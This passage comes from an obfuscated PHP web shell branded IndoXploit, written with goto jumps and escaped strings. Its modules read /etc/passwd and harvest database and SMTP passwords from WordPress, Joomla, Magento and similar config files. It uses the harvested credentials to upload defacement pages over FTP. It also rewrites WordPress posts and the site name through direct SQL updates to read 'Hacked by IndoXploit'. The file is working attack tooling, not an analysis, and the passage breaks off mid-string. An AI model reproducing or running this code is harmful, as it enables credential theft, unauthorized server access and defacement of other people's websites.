hM3S8: } } } else { echo "\\133\\x2b\\135\\x20\\x3c\\146\\157\\x6e\\164\\40\\143\\157\\x6c\\157\\162\\x3d\\x72\\145\\x64\\x3e\\x67\\x61\\x62\\x69\\163\\x61\\40\\141\\x6d\\142\\151\\154\\40\\156\\x61\\155\\x61\\40\\x64\\157\\x6d\\141\\x69\\156\\x20\\156\\x79\\x61\\74\\x2f\\x66\\x6f\\156\\x74\\x3e\\x3c\\142\\x72\\76\\74\\x62\\162\\x3e"; } goto GKkPl; ypXj1: $i++; goto soNo_; GKkPl: } else { echo "\\133\\55\\135\\40\\74\\146\\x6f\\156\\164\\x20\\x63\\x6f\\x6c\\157\\162\\x3d\\x72\\x65\\144\\76\\x44\\x65\\x66\\141\\143\\145\\40\\x47\\141\\x67\\141\\154\\x3c\\x2f\\146\\x6f\\x6e\\164\\76\\74\\x62\\162\\76\\74\\x62\\x72\\76"; } goto GvWCX; UuUZl: echo "\\133\\x2b\\135\\x20\\x3c\\146\\x6f\\156\\164\\x20\\x63\\x6f\\154\\x6f\\x72\\x3d\\x23\\x31\\70\\x42\\103\\71\\x43\\76\\x4c\\x6f\\x67\\x69\\x6e\\x20\\123\\x75\\x6b\\x73\\x65\\163\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\x3e\\x3c\\142\\x72\\76"; goto JSMAy; vmM_D: $deface = ftp_put($ftp_conn, "\\160\\165\\x62\\154\\151\\x63\\137\\150\\x74\\x6d\\154\\x2f{$fi}", $_POST["\\144\\145\\146\\141\\x63\\x65"], FTP_BINARY); goto jQ3EY; JSMAy: $fi = htmlspecialchars($_POST["\\146\\x69\\154\\x65\\x5f\\144\\x65\\x66\\141\\x63\\145"]); goto vmM_D; GvWCX: } goto sY83S; WLWNJ: $ftp_conn = ftp_connect($ip); goto AxhfU; tcBJW: echo "\\133\\53\\135\\x20\\x75\\x73\\145\\x72\\x6e\\x61\\155\\145\\40\\x28\\x3c\\146\\157\\156\\x74\\40\\143\\157\\154\\x6f\\162\\75\\x23\\61\\x38\\102\\103\\x39\\x43\\x3e{$ucp}\\x3c\\x2f\\146\\157\\x6e\\164\\x3e\\x29\\40\\160\\141\\163\\x73\\167\\x6f\\x72\\144\\40\\50\\74\\146\\x6f\\156\\x74\\x20\\143\\x6f\\x6c\\x6f\\x72\\x3d\\43\\x31\\70\\x42\\x43\\x39\\x43\\x3e{$pcp}\\74\\57\\146\\x6f\\156\\x74\\x3e\\x29\\74\\142\\x72\\76"; goto WLWNJ; sY83S: } goto XW4d3; uQMIO: $_SESSION[$pcp] = "\\x31"; goto CS06X; sC2CX: $_SESSION[$ucp] = "\\61"; goto uQMIO; XW4d3: } } } } goto hGJyq; GYZIS: $usercp = explode("\\xd\\xa", $_POST["\\165\\163\\145\\162\\x5f\\x63\\160"]); goto THK01; THK01: $passcp = explode("\\xd\\12", $_POST["\\160\\x61\\x73\\163\\137\\x63\\160"]); goto xj8Ek; hGJyq: if ($i == 0) { } else { echo "\\x3c\\x62\\162\\76\\x73\\x75\\x6b\\x73\\145\\163\\x20\\144\\145\\146\\141\\143\\145\\x20" . $i . "\\40\\x43\\160\\141\\156\\145\\x6c\\40\\142\\x79\\x20\\x3c\\x66\\157\\x6e\\x74\\x20\\143\\157\\154\\x6f\\x72\\x3d\\43\\x31\\70\\x42\\103\\x39\\x43\\x3e\\x49\\156\\x64\\157\\130\\x70\\x6c\\x6f\\x69\\164\\56\\x3c\\x2f\\146\\157\\156\\x74\\76"; } goto gSYwC; xj8Ek: $i = 0; goto O2e7B; gSYwC: } else { goto Q7GtD; Xas9R: function cp_pass($dir) { goto CH42l; CH42l: $pass = \'\'; goto KAyx8; xPXo9: echo $pass; goto iDM87; KAyx8: $dira = scandir($dir); goto orElM; orElM: foreach ($dira as $dirb) { goto ClVuO; CNd9T: $ambil = file_get_contents("{$dir}\\57{$dirb}"); goto NTRST; NTRST: if (preg_match("\\57\\127\\x6f\\162\\x64\\x50\\x72\\x65\\163\\x73\\57", $ambil)) { $pass .= ambilkata($ambil, "\\104\\x42\\x5f\\x50\\x41\\x53\\123\\x57\\117\\122\\104\\x27\\54\\40\\47", "\\x27") . "\\xa"; } elseif (preg_match("\\x2f\\x4a\\103\\157\\156\\x66\\151\\x67\\x7c\\152\\157\\x6f\\x6d\\x6c\\x61\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x70\\141\\x73\\x73\\167\\157\\x72\\x64\\40\\75\\40\\x27", "\\x27") . "\\xa"; } elseif (preg_match("\\57\\x4d\\141\\147\\145\\156\\x74\\157\\174\\115\\x61\\147\\x65\\137\\x43\\x6f\\x72\\x65\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x3c\\x70\\141\\163\\163\\x77\\157\\162\\144\\76\\x3c\\x21\\133\\103\\x44\\x41\\124\\101\\133", "\\135\\135\\x3e\\74\\x2f\\x70\\141\\163\\163\\167\\x6f\\162\\144\\x3e") . "\\12"; } elseif (preg_match("\\x2f\\160\\x61\\x6e\\x67\\x67\\151\\x6c\\40\\146\\165\\x6e\\147\\x73\\x69\\40\\166\\141\\x6c\\x69\\x64\\141\\163\\x69\\x20\\170\\163\\x73\\x20\\x64\\x61\\x6e\\x20\\x69\\x6e\\152\\145\\143\\x74\\151\\157\\x6e\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x70\\x61\\x73\\x73\\167\\x6f\\162\\x64\\x20\\75\\x20\\42", "\\42") . "\\12"; } elseif (preg_match("\\57\\x48\\x54\\x54\\x50\\137\\123\\105\\x52\\x56\\105\\122\\174\\110\\x54\\124\\120\\x5f\\103\\x41\\124\\x41\\114\\117\\107\\x7c\\x44\\111\\122\\x5f\\103\\117\\x4e\\106\\x49\\107\\174\\104\\x49\\x52\\137\\123\\131\\123\\x54\\x45\\115\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x27\\x44\\102\\x5f\\x50\\101\\x53\\x53\\x57\\117\\x52\\x44\\47\\54\\x20\\47", "\\x27") . "\\12"; } elseif (preg_match("\\x2f\\x63\\154\\151\\145\\x6e\\x74\\x2f", $ambil)) { preg_match("\\x2f\\x70\\x61\\x73\\x73\\167\\157\\x72\\x64\\x3d\\50\\56\\x2a\\51\\57", $ambil, $pass1); if (preg_match("\\57\\42\\57", $pass1[1])) { $pass1[1] = str_replace("\\42", \'\', $pass1[1]); $pass .= $pass1[1] . "\\12"; } } elseif (preg_match("\\57\\143\\143\\137\\x65\\156\\x63\\162\\171\\x70\\x74\\151\\157\\156\\x5f\\x68\\x61\\x73\\150\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x64\\x62\\137\\160\\141\\163\\163\\x77\\x6f\\x72\\x64\\x20\\x3d\\x20\\x27", "\\x27") . "\\12"; } goto yPhrZ; ClVuO: if (!is_file("{$dir}\\x2f{$dirb}")) { continue; } goto CNd9T; yPhrZ: } goto xPXo9; iDM87: } goto Khmk2; NHo3_: $_usercp = fopen("\\57\\x65\\164\\x63\\57\\160\\x61\\x73\\x73\\167\\144", "\\x72"); goto DBWbU; Robk5: echo "\\74\\x2f\\164\\145\\170\\x74\\141\\162\\x65\\141\\x3e\\x3c\\x62\\162\\x3e\\xd\\12\\11\\11\\120\\101\\x53\\123\\72\\x20\\x3c\\142\\162\\x3e\\15\\xa\\x9\\11\\x3c\\164\\145\\170\\164\\x61\\x72\\x65\\141\\x20\\163\\x74\\171\\154\\x65\\x3d\\x27\\x77\\151\\144\\x74\\x68\\x3a\\40\\64\\65\\60\\x70\\x78\\x3b\\xd\\12\\xd\\xa\\15\\xa\\40\\x68\\145\\151\\147\\x68\\164\\x3a\\x20\\x32\\60\\x30\\x70\\170\\73\\xd\\12\\xd\\12\\15\\12\\47\\40\\156\\x61\\x6d\\x65\\75\\x27\\160\\x61\\163\\163\\137\\143\\160\\47\\x3e"; goto Xas9R; Q7GtD: echo "\\x3c\\x63\\145\\x6e\\164\\x65\\x72\\x3e\\xd\\12\\x9\\11\\74\\146\\157\\162\\x6d\\x20\\155\\x65\\164\\150\\157\\144\\75\\x27\\x70\\x6f\\x73\\x74\\x27\\76\\15\\xa\\11\\11\\x46\\x69\\x6c\\x65\\156\\141\\155\\145\\x3a\\40\\x3c\\x62\\x72\\76\\15\\12\\x9\\x9\\74\\151\\x6e\\160\\x75\\164\\40\\164\\x79\\x70\\145\\75\\47\\x74\\145\\170\\x74\\x27\\40\\x6e\\x61\\x6d\\145\\75\\x27\\x66\\151\\x6c\\x65\\137\\144\\x65\\x66\\x61\\143\\x65\\x27\\40\\x70\\x6c\\141\\143\\x65\\x68\\x6f\\x6c\\144\\145\\162\\75\\47\\151\\x6e\\x64\\x65\\x78\\56\\160\\x68\\x70\\x27\\40\\x76\\x61\\154\\165\\145\\x3d\\x27\\x69\\156\\144\\x65\\x78\\56\\160\\150\\x70\\47\\40\\x73\\x74\\171\\154\\145\\75\\x27\\167\\151\\144\\x74\\150\\72\\40\\x34\\65\\60\\160\\170\\73\\15\\12\\xd\\12\\15\\xa\\x27\\x3e\\74\\x62\\x72\\x3e\\15\\xa\\11\\x9\\x44\\x65\\146\\x61\\x63\\145\\x20\\x50\\x61\\x67\\145\\x3a\\40\\74\\x62\\162\\76\\xd\\xa\\x9\\11\\74\\151\\156\\x70\\165\\x74\\40\\x74\\171\\160\\145\\x3d\\x27\\164\\145\\x78\\x74\\x27\\x20\\x6e\\x61\\x6d\\145\\75\\47\\144\\x65\\146\\x61\\143\\x65\\x27\\40\\160\\x6c\\141\\x63\\145\\150\\x6f\\154\\144\\145\\x72\\x3d\\47\\150\\x74\\164\\x70\\72\\x2f\\x2f\\167\\167\\167\\x2e\\x77\\x65\\142\\55\\x79\\141\\156\\x67\\x2d\\x75\\144\\141\\x68\\55\\144\\151\\55\\x64\\145\\x66\\x61\\143\\145\\56\\x63\\x6f\\155\\x2f\\146\\x69\\154\\x65\\155\\x75\\x2e\\x70\\x68\\160\\47\\x20\\163\\x74\\171\\x6c\\145\\x3d\\x27\\x77\\x69\\x64\\164\\x68\\x3a\\x20\\x34\\65\\60\\160\\x78\\73\\xd\\12\\15\\12\\xd\\xa\\x27\\76\\74\\x62\\162\\x3e\\xd\\12\\x9\\x9\\x55\\x53\\105\\x52\\x3a\\40\\74\\x62\\162\\x3e\\15\\12\\11\\x9\\74\\164\\145\\170\\164\\141\\162\\145\\141\\40\\163\\x74\\171\\154\\x65\\x3d\\x27\\x77\\151\\144\\x74\\x68\\x3a\\x20\\64\\65\\x30\\x70\\x78\\73\\15\\xa\\15\\12\\xd\\12\\x20\\150\\x65\\x69\\147\\x68\\x74\\x3a\\40\\61\\x35\\60\\x70\\x78\\73\\15\\xa\\15\\xa\\15\\12\\x27\\x20\\156\\x61\\x6d\\x65\\x3d\\x27\\x75\\163\\145\\162\\137\\143\\160\\47\\76"; goto NHo3_; XBssz: echo $cp_pass; goto VlVDK; DBWbU: while ($getu = fgets($_usercp)) { if ($getu == \'\' || !$_usercp) { echo "\\74\\146\\157\\x6e\\164\\40\\x63\\x6f\\x6c\\157\\x72\\x3d\\162\\x65\\144\\76\\x43\\x61\\x6e\\x27\\x74\\40\\x72\\145\\141\\144\\x20\\57\\145\\164\\x63\\57\\x70\\141\\163\\163\\x77\\x64\\74\\x2f\\x66\\x6f\\x6e\\x74\\x3e"; } else { preg_match_all("\\57\\50\\x2e\\x2a\\x3f\\51\\x3a\\170\\x3a\\57", $getu, $u); foreach ($u[1] as $user_cp) { if (is_dir("\\x2f\\x68\\157\\x6d\\145\\57{$user_cp}\\x2f\\160\\165\\x62\\x6c\\151\\143\\x5f\\150\\x74\\x6d\\154")) { echo "{$user_cp}\\12"; } } } } goto Robk5; Khmk2: $cp_pass = cp_pass($dir); goto XBssz; VlVDK: echo "\\74\\x2f\\164\\x65\\x78\\x74\\x61\\x72\\x65\\141\\x3e\\x3c\\142\\162\\x3e\\xd\\12\\11\\x9\\74\\151\\156\\x70\\165\\x74\\40\\164\\x79\\160\\x65\\75\\47\\163\\165\\142\\155\\x69\\164\\47\\40\\156\\141\\x6d\\x65\\75\\47\\x63\\x72\\141\\143\\153\\x27\\x20\\x73\\164\\x79\\x6c\\x65\\75\\x27\\x77\\x69\\144\\x74\\x68\\72\\40\\64\\x35\\x30\\x70\\x78\\x3b\\15\\xa\\15\\xa\\xd\\xa\\x27\\x20\\x63\\154\\141\\x73\\163\\x3d\\x27\\x62\\164\\x6e\\40\\142\\164\\156\\55\\163\\x75\\x63\\143\\x65\\x73\\163\\x20\\x62\\164\\x6e\\x2d\\163\\155\\x27\\40\\x76\\141\\154\\165\\145\\x3d\\x27\\x48\\x61\\152\\141\\162\\x27\\76\\xd\\12\\x9\\x9\\x3c\\x2f\\146\\x6f\\x72\\x6d\\x3e\\xd\\12\\11\\x9\\74\\163\\160\\x61\\x6e\\x3e\\116\\102\\x3a\\x20\\103\\120\\x61\\x6e\\145\\x6c\\40\\103\\x72\\141\\143\\x6b\\40\\151\\156\\151\\40\\x73\\165\\144\\x61\\x68\\40\\141\\x75\\164\\x6f\\40\\x67\\145\\164\\x20\\x70\\x61\\163\\163\\x77\\157\\x72\\144\\x20\\x28\\40\\x70\\x61\\x6b\\x65\\x20\\144\\142\\x20\\x70\\x61\\163\\163\\167\\x6f\\162\\144\\x20\\x29\\x20\\155\\x61\\153\\x61\\x20\\141\\153\\x61\\x6e\\x20\\167\\157\\x72\\153\\x20\\x6a\\x69\\x6b\\141\\x20\\144\\151\\152\\141\\x6c\\141\\156\\x6b\\x61\\156\\40\\x64\\151\\x20\\x64\\x61\\x6c\\x61\\155\\40\\146\\x6f\\x6c\\144\\x65\\x72\\40\\x3c\\x75\\76\\143\\157\\156\\146\\x69\\x67\\74\\57\\165\\76\\40\\x28\\x20\\145\\170\\72\\x20\\57\\x68\\157\\x6d\\145\\57\\x75\\x73\\145\\x72\\57\\160\\165\\142\\x6c\\151\\x63\\x5f\\x68\\x74\\155\\154\\x2f\\156\\141\\x6d\\141\\x5f\\x66\\x6f\\x6c\\x64\\x65\\x72\\x5f\\143\\157\\156\\x66\\x69\\x67\\x20\\x29\\74\\x2f\\163\\x70\\x61\\x6e\\x3e\\74\\x62\\162\\x3e\\x3c\\x2f\\143\\145\\x6e\\x74\\145\\162\\x3e"; goto PGE_8; PGE_8: } } elseif ($_GET["\\x64\\x6f"] == "\\163\\155\\164\\160") { goto cdH_P; ZClCQ: function scj($dir) { $dira = scandir($dir); foreach ($dira as $dirb) { goto I1Liw; PQ_8Y: if (preg_match("\\57\\x4a\\103\\x6f\\x6e\\x66\\151\\x67\\x7c\\152\\x6f\\157\\155\\x6c\\x61\\57", $ambil)) { goto hrWAa; tc7Qq: $smtp_auth = ambilkata($ambil, "\\163\\155\\x74\\x70\\141\\165\\164\\150\\40\\75\\x20\\x27", "\\x27"); goto Wqin8; uNl2B: echo "\\x53\\115\\124\\120\\40\\x70\\x6f\\162\\x74\\72\\x20\\74\\146\\157\\x6e\\164\\x20\\143\\157\\154\\x6f\\162\\75\\x23\\x31\\x38\\x42\\x43\\x39\\103\\76{$smtp_port}\\x3c\\x2f\\146\\x6f\\156\\164\\x3e\\74\\x62\\162\\x3e"; goto yprnz; Rrb2R: $smtp_port = ambilkata($ambil, "\\x73\\x6d\\x74\\160\\160\\157\\x72\\164\\40\\75\\40\\47", "\\x27"); goto DEtjE; yprnz: echo "\\x53\\115\\124\\x50\\x20\\x75\\163\\145\\162\\72\\40\\x3c\\x66\\157\\156\\x74\\40\\143\\157\\154\\157\\162\\x3d\\43\\61\\70\\102\\x43\\x39\\103\\x3e{$smtp_user}\\x3c\\x2f\\x66\\x6f\\156\\164\\76\\74\\x62\\162\\76"; goto nDUdg; KKngt: echo "\\x53\\115\\x54\\x50\\x20\\141\\165\\164\\x68\\72\\40\\74\\x66\\157\\x6e\\164\\x20\\x63\\x6f\\154\\x6f\\x72\\75\\x23\\61\\70\\x42\\x43\\71\\x43\\76{$smtp_auth}\\74\\57\\x66\\157\\x6e\\164\\x3e\\x3c\\142\\x72\\x3e"; goto QGFbL; nDUdg: echo "\\x53\\115\\x54\\x50\\40\\160\\141\\x73\\x73\\x3a\\40\\x3c\\146\\157\\156\\x74\\x20\\x63\\157\\x6c\\157\\162\\75\\43\\61\\70\\102\\103\\x39\\x43\\x3e{$smtp_pass}\\74\\x2f\\146\\x6f\\x6e\\164\\x3e\\x3c\\142\\162\\x3e"; goto KKngt; DEtjE: $smtp_secure = ambilkata($ambil, "\\163\\155\\164\\x70\\163\\145\\143\\165\\162\\x65\\40\\x3d\\x20\\47", "\\x27"); goto Tzz2C; Wqin8: $smtp_user = ambilkata($ambil, "\\163\\x6d\\x74\\160\\x75\\163\\145\\162\\40\\75\\40\\x27", "\\47"); goto ZOIm3; hrWAa: $smtp_host = ambilkata($ambil, "\\163\\155\\164\\x70\\150\\x6f\\x73\\164\\40\\x3d\\x20\\47", "\\47"); goto tc7Qq; Tzz2C: echo "\\123\\x4d\\x54\\x50\\x20\\x48\\157\\x73\\x74\\x3a\\x20\\74\\146\\157\\156\\x74\\40\\x63\\x6f\\x6c\\x6f\\162\\x3d\\43\\61\\70\\102\\103\\71\\x43\\x3e{$smtp_host}\\x3c\\57\\x66\\157\\156\\164\\76\\74\\142\\162\\76"; goto uNl2B; QGFbL: echo "\\x53\\115\\x54\\120\\40\\163\\x65\\143\\165\\x72\\x65\\72\\40\\74\\x66\\157\\x6e\\164\\x20\\143\\x6f\\x6c\\157\\x72\\75\\43\\x31\\70\\x42\\103\\71\\103\\76{$smtp_secure}\\74\\57\\146\\x6f\\156\\x74\\76\\74\\142\\x72\\x3e\\x3c\\142\\162\\76"; goto TVnAN; ZOIm3: $smtp_pass = ambilkata($ambil, "\\163\\x6d\\x74\\160\\160\\141\\163\\x73\\40\\75\\x20\\47", "\\x27"); goto Rrb2R; TVnAN: } goto YjBlx; GB62i: $ambil = file_get_contents("{$dir}\\57{$dirb}"); goto HnX5I; I1Liw: if (!is_file("{$dir}\\57{$dirb}")) { continue; } goto GB62i; HnX5I: $ambil = str_replace("\\x24", \'\', $ambil); goto PQ_8Y; YjBlx: } } goto iMlV0; cdH_P: echo "\\x3c\\143\\145\\156\\164\\145\\x72\\76\\x3c\\163\\x70\\141\\x6e\\x3e\\x4e\\102\\72\\40\\x54\\157\\x6f\\154\\x73\\x20\\x69\\x6e\\x69\\x20\\167\\157\\162\\x6b\\40\\x6a\\151\\x6b\\141\\40\\144\\x69\\152\\141\\154\\141\\156\\x6b\\x61\\x6e\\x20\\x64\\151\\x20\\x64\\x61\\154\\x61\\x6d\\x20\\x66\\x6f\\154\\144\\145\\x72\\x20\\74\\165\\76\\143\\157\\156\\x66\\151\\x67\\x3c\\x2f\\x75\\76\\x20\\x28\\40\\x65\\170\\72\\x20\\57\\150\\x6f\\155\\145\\x2f\\x75\\x73\\x65\\162\\57\\x70\\x75\\x62\\x6c\\151\\x63\\137\\150\\164\\x6d\\x6c\\x2f\\156\\141\\x6d\\141\\137\\x66\\157\\154\\144\\x65\\x72\\137\\143\\157\\x6e\\x66\\151\\x67\\40\\51\\x3c\\57\\x73\\160\\x61\\x6e\\76\\x3c\\57\\x63\\145\\x6e\\164\\x65\\162\\x3e\\74\\x62\\x72\\76"; goto ZClCQ; deXmG: echo $smpt_hunter; goto VVQLG; iMlV0: $smpt_hunter = scj($dir); goto deXmG; VVQLG: } elseif ($_GET["\\144\\157"] == "\\x61\\x75\\164\\157\\137\\167\\160") { if ($_POST["\\x68\\x61\\152\\x61\\x72"]) { goto cKFz6; cKFz6: $title = htmlspecialchars($_POST["\\x6e\\145\\167\\x5f\\164\\151\\x74\\154\\145"]); goto DHTa1; AWhZB: $scan_conf = scandir($conf); goto I6lSN; kgyX7: if ($_POST["\\x63\\145\\x6b\\x5f\\145\\x64\\x69\\164"] == "\\x59") { $script = $_POST["\\145\\144\\x69\\x74\\x5f\\x63\\157\\x6e\\164\\145\\x6e\\x74"]; } else { $script = $title; } goto JVNbO; I6lSN: foreach ($scan_conf as $file_conf) { goto RBIUN; D8i0P: $config = file_get_contents("{$conf}\\57{$file_conf}"); goto YwUf4; RBIUN: if (!is_file("{$conf}\\x2f{$file_conf}")) { continue; } goto D8i0P; YwUf4: if (preg_match("\\57\\127\\x6f\\x72\\x64\\120\\x72\\x65\\163\\163\\x2f", $config)) { goto Phs2v; U4YRa: $update = mysql_query("\\x55\\120\\x44\\x41\\x54\\105\\40{$prefix}\\40\\123\\105\\124\\40\\x70\\157\\x73\\164\\x5f\\x74\\x69\\x74\\x6c\\145\\x3d\\x27{$title}\\x27\\54\\x70\\157\\x73\\164\\137\\143\\157\\156\\164\\145\\x6e\\164\\x3d\\47{$script}\\47\\54\\x70\\x6f\\163\\164\\137\\x6e\\141\\155\\145\\x3d\\x27{$pn_title}\\x27\\x2c\\x70\\x6f\\x73\\164\\137\\x73\\x74\\141\\x74\\165\\x73\\75\\47\\x70\\165\\142\\154\\x69\\x73\\150\\x27\\x2c\\143\\157\\x6d\\x6d\\x65\\x6e\\164\\137\\x73\\164\\x61\\164\\x75\\x73\\x3d\\x27\\157\\x70\\145\\156\\47\\x2c\\x70\\151\\156\\147\\137\\x73\\x74\\141\\164\\x75\\x73\\75\\x27\\157\\x70\\145\\x6e\\47\\54\\x70\\157\\163\\164\\137\\x74\\171\\x70\\145\\75\\47\\160\\x6f\\163\\164\\x27\\54\\143\\157\\155\\155\\x65\\156\\164\\137\\143\\x6f\\165\\x6e\\x74\\75\\x27\\61\\47\\x20\\127\\x48\\x45\\x52\\x45\\x20\\x69\\x64\\75\\x27{$id}\\47"); goto oQeBQ; f4_zK: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto aG3mP; aQeYU: $q2 = mysql_query("\\x53\\x45\\114\\x45\\103\\x54\\40\\52\\x20\\x46\\x52\\117\\115\\40{$option}\\40\\x4f\\122\\x44\\105\\122\\x20\\x42\\131\\x20\\157\\x70\\164\\151\\157\\x6e\\137\\x69\\144\\40\\101\\123\\103"); goto alqCL; KCjY2: $option = $dbprefix . "\\157\\x70\\164\\151\\157\\x6e\\163"; goto f4_zK; gf3mN: $dbpass = ambilkata($config, "\\x44\\102\\137\\x50\\x41\\123\\x53\\127\\117\\x52\\104\\47\\54\\40\\47", "\\47"); goto WzG9o; lOItm: if ($target == \'\') { echo "\\125\\x52\\114\\x3a\\40\\74\\146\\157\\x6e\\x74\\40\\x63\\x6f\\x6c\\157\\x72\\75\\162\\x65\\144\\x3e\\145\\162\\x72\\157\\x72\\x2c\\40\\x67\\x61\\x62\\x69\\x73\\141\\x20\\141\\x6d\\x62\\151\\x6c\\x20\\156\\x61\\155\\x61\\40\\144\\x6f\\155\\x61\\x69\\x6e\\40\\x6e\\171\\141\\74\\57\\146\\x6f\\156\\164\\x3e\\x20\\x2d\\x3e\\40"; } else { echo "\\x55\\x52\\114\\x3a\\x20\\x3c\\x61\\40\\150\\162\\x65\\x66\\75\\x27{$target}\\x2f\\x3f\\x70\\75{$id}\\47\\40\\164\\141\\x72\\x67\\x65\\x74\\x3d\\47\\x5f\\142\\x6c\\x61\\156\\x6b\\x27\\x3e{$target}\\57\\77\\160\\75{$id}\\x3c\\57\\141\\x3e\\40\\55\\x3e\\x20"; } goto zNjex; zbAWb: $dbprefix = ambilkata($config, "\\164\\x61\\x62\\x6c\\x65\\x5f\\x70\\x72\\145\\x66\\151\\170\\x20\\75\\40\\47", "\\x27"); goto gzQPe; TOSQS: $dbuser = ambilkata($config, "\\104\\x42\\x5f\\125\\x53\\x45\\122\\x27\\54\\x20\\47", "\\x27"); goto gf3mN; Phs2v: $dbhost = ambilkata($config, "\\104\\x42\\x5f\\110\\x4f\\x53\\x54\\x27\\54\\x20\\47", "\\47"); goto TOSQS; YKTa7: mysql_close($conn); goto hvDDz; fEFsS: echo "\\x3c\\57\\144\\151\\166\\x3e"; goto YKTa7; HIVe8: $target = $result2[option_value]; goto U4YRa; bHGdT: echo "\\x3c\\144\\151\\x76\\x20\\x73\\x74\\x79\\x6c\\x65\\x3d\\47\\155\\x61\\x72\\x67\\151\\x6e\\x3a\\40\\65\\x70\\170\\40\\141\\x75\\164\\157\\73\\15\\xa\\15\\12\\xd\\12\\47\\x3e"; goto lOItm; WzG9o: $dbname = ambilkata($config, "\\x44\\x42\\137\\x4e\\101\\115\\x45\\47\\x2c\\40\\x27", "\\47"); goto zbAWb; gzQPe: $prefix = $dbprefix . "\\160\\x6f\\163\\x74\\x73"; goto KCjY2; lH81b: $q = mysql_query("\\x53\\x45\\114\\x45\\x43\\x54\\x20\\52\\x20\\x46\\122\\117\\115\\x20{$prefix}\\40\\x4f\\122\\x44\\x45\\x52\\x20\\102\\131\\x20\\x49\\104\\x20\\x41\\123\\x43"); goto cTYB6; YNdQU: $id = $result[ID]; goto aQeYU; oQeBQ: $update .= mysql_query("\\x55\\x50\\x44\\x41\\x54\\x45\\40{$option}\\x20\\x53\\x45\\124\\x20\\157\\x70\\x74\\151\\157\\156\\x5f\\x76\\x61\\154\\165\\x65\\x3d\\47{$title}\\x27\\40\\x57\\110\\x45\\122\\x45\\x20\\x6f\\160\\x74\\x69\\x6f\\156\\137\\x6e\\141\\x6d\\145\\x3d\\47\\x62\\x6c\\157\\147\\x6e\\141\\155\\145\\x27\\x20\\117\\x52\\x20\\x6f\\x70\\x74\\x69\\x6f\\156\\137\\156\\x61\\x6d\\x65\\x3d\\x27\\142\\x6c\\157\\147\\144\\145\\x73\\x63\\x72\\151\\160\\x74\\151\\157\\x6e\\47"); goto bHGdT; zNjex: if (!$update or !$conn or !$db) { echo "\\74\\x66\\157\\156\\164\\x20\\143\\157\\154\\x6f\\x72\\75\\162\\x65\\144\\x3e\\115\\x79\\x53\\121\\x4c\\40\\105\\x72\\162\\157\\162\\x3a\\x20" . mysql_error() . "\\x3c\\57\\146\\x6f\\156\\x74\\76\\74\\142\\x72\\x3e"; } else { echo "\\x3c\\x66\\157\\x6e\\164\\x20\\143\\x6f\\x6c\\157\\162\\x3d\\x23\\x31\\70\\102\\x43\\x39\\103\\x3e\\163\\165\\153\\163\\145\\163\\40\\x64\\x69\\x20\\147\\141\\156\\x74\\151\\x2e\\x3c\\x2f\\x66\\157\\x6e\\x74\\76\\74\\142\\x72\\x3e"; } goto fEFsS; alqCL: $result2 = mysql_fetch_array($q2); goto HIVe8; aG3mP: $db = mysql_select_db($dbname); goto lH81b; cTYB6: $result = mysql_fetch_array($q); goto YNdQU; hvDDz: } goto B9E1l; B9E1l: } goto kyQBK; JVNbO: $conf = $_POST["\\x63\\157\\156\\x66\\151\\147\\137\\x64\\151\\x72"]; goto AWhZB; DHTa1: $pn_title = str_replace("\\40", "\\55", $title); goto kgyX7; kyQBK: } else { echo "\\74\\143\\145\\156\\164\\145\\162\\x3e\\15\\12\\11\\11\\74\\x68\\61\\x3e\\101\\165\\x74\\x6f\\40\\105\\144\\x69\\x74\\40\\124\\x69\\164\\x6c\\145\\x2b\\103\\x6f\\156\\164\\145\\x6e\\164\\x20\\x57\\x6f\\162\\x64\\120\\162\\x65\\163\\x73\\74\\57\\150\\61\\76\\xd\\12\\11\\x9\\74\\146\\157\\162\\155\\x20\\x6d\\145\\164\\x68\\x6f\\x64\\x3d\\x27\\160\\x6f\\163\\164\\47\\x3e\\xd\\xa\\11\\x9\\104\\111\\122\\40\\103\\x6f\\156\\146\\151\\147\\x3a\\x20\\x3c\\142\\x72\\x3e\\15\\12\\x9\\11\\74\\151\\156\\160\\165\\x74\\40\\164\\x79\\160\\145\\x3d\\x27\\x74\\145\\170\\164\\x27\\x20\\163\\x69\\172\\145\\75\\x27\\65\\60\\47\\40\\x6e\\x61\\155\\145\\75\\x27\\x63\\157\\x6e\\146\\151\\x67\\137\\x64\\151\\x72\\x27\\x20\\x76\\x61\\154\\165\\x65\\x3d\\47{$dir}\\x27\\x3e\\74\\142\\162\\x3e\\x3c\\142\\162\\x3e\\xd\\12\\11\\x9\\x53\\x65\\x74\\40\\124\\x69\\x74\\x6c\\x65\\x3a\\40\\x3c\\x62\\x72\\x3e\\xd\\12\\x9\\11\\x3c\\x69\\156\\160\\x75\\x74\\x20\\x74\\x79\\160\\x65\\x3d\\47\\x74\\145\\170\\164\\47\\x20\\156\\141\\155\\x65\\x3d\\47\\x6e\\145\\167\\x5f\\164\\x69\\x74\\x6c\\145\\x27\\40\\166\\x61\\x6c\\165\\145\\x3d\\47\\110\\141\\143\\153\\x65\\x64\\40\\x62\\x79\\40\\111\\x6e\\144\\157\\130\\160\\x6c\\x6f\\x69\\164\\47\\x20\\160\\x6c\\x61\\x63\\x65\\x68\\x6f\\x6c\\x64\\x65\\x72\\x3d\\47\\x4e\\145\\167\\x20\\x54\\151\\164\\x6c\\x65\\47\\x3e\\74\\x62\\162\\76\\74\\x62\\x72\\76\\xd\\12\\11\\x9\\x45\\x64\\151\\x74\\40\\x43\\157\\156\\164\\x65\\156\\x74\\77\\72\\x20\\74\\151\\156\\x70\\x75\\x74\\40\\x74\\x79\\160\\x65\\75\\x27\\162\\141\\144\\151\\x6f\\x27\\x20\\156\\141\\x6d\\x65\\75\\47\\143\\145\\153\\137\\145\\144\\151\\x74\\x27\\40\\x76\\x61\\x6c\\x75\\145\\75\\x27\\131\\x27\\40\\143\\x68\\x65\\143\\x6b\\x65\\144\\x3e\\131\\x3c\\x69\\156\\160\\x75\\x74\\40\\164\\x79\\160\\145\\x3d\\x27\\162\\141\\x64\\151\\157\\x27\\40\\156\\x61\\x6d\\x65\\x3d\\x27\\143\\145\\x6b\\137\\145\\x64\\x69\\164\\47\\x20\\x76\\141\\154\\165\\145\\75\\x27\\116\\47\\x3e\\116\\74\\142\\x72\\76\\15\\xa\\x9\\11\\x3c\\163\\160\\141\\x6e\\76\\x4a\\x69\\153\\141\\x